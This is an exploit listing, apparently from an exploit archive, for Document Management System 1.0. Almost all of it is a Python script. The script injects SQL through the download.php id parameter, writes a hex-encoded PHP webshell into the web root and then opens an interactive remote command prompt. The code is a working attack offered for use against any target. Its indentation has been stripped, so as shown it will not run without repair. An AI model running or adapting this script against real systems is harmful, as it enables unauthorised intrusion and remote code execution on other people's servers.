Document Management System 1.0 SQL Injection / Remote Code Execution

`# Exploit Title: Document Management System - SQL Injection to RCE (webshell)  
# Date: 23/04/21  
# Exploit Author: Richard Jones  
# Vendor Homepage: https://www.sourcecodester.com/php/7652/document-management-system.html  
# Version: 1.0  
# Tested on: Windows 10 build 19041 + xampp 3.2.4  
  
#!/usr/bin/python3  
import requests  
import sys  
import urllib.parse  
import time  
  
URL=f"http://TARGET/doc_system/docsytems/" # Change URL  
SAVEPATH="c:/xampp/htdocs/" #Change to webfolder root (ie: /var/www/html on unix)  
  
HOSTNAME=urllib.parse.urlparse(f"{URL}").netloc  
PHPPAYLOAD="3c3f7068702073797374656d28245f4745545b2763275d293b203f3e" #<?php system($_GET['c']);?>  
PAYLOAD=f"-8087' OR 6017=6017 LIMIT 0,1 INTO OUTFILE '{SAVEPATH}xythif42taA.php' LINES TERMINATED BY 0x{PHPPAYLOAD}-- -" #Change filename if you wish, replace 'xythif42taA.php'  
  
RS='\033[0m'  
R='\033[0;31m'  
G='\033[0;32m'  
LB='\033[1;34m'  
CY='\033[0;36m'  
W='\033[1;73m'  
  
def main():  
  
  
s = requests.Session()  
  
def banner():  
return r"""________ _____ _________.__ .__ .__   
\______ \ / \ ______/ _____/| |__ ____ | | | |   
| | \ / \ / \ / ___/\_____ \ | | \_/ __ \| | | |   
| ` \/ Y \\___ \ / \| Y \ ___/| |_| |__  
/_______ /\____|__ /____ >_______ /|___| /\___ >____/____/  
\/ \/ \/ \/ \/ \/   
Created by: Richard Jones  
Date: 23/04/2021  
Type: Webshell (sql injection)  
"""  
  
def checkTarget():  
r = s.get(f"{URL}//View/download.php")  
if r.status_code == 200:  
return True  
  
def sendPayload():  
r = s.get(f"{URL}//View/download.php?id={PAYLOAD}")  
if not r.status_code == 200:  
print("Error in URL!, Check the URL again.")  
sys.exit()  
  
def checkShell():  
r = s.get(f"http://{HOSTNAME}/xythif42taA.php")  
if r.status_code == 200:  
return True  
else:  
return False  
  
def runWebShell():  
while True:  
cmd=input(f"{R}" + "DMsShell: " + f"{RS}")  
if cmd == "exit":  
sys.exit()  
r = s.get(f"http://{HOSTNAME}/xythif42taA.php?c={cmd}")  
print(r.text.split("</html>")[1])  
  
print(f"{CY}" + banner() + f"{RS}")  
print(f"{W}" + "[-] Checking Target" + f"{RS}")  
if not checkTarget():  
print(f"{R}"+"[!] Can't access download.php in target, check the URL" + f"{RS}")  
sys.exit()  
else:   
print(f"{G}"+"[+] TARGET is alive!" + f"{RS}")  
sendPayload()  
if checkShell():  
print(f"{G}"+"[+] SHELL Acitvating!" + f"{RS}")  
time.sleep(1)  
runWebShell()  
  
if __name__ == "__main__":  
main()  
`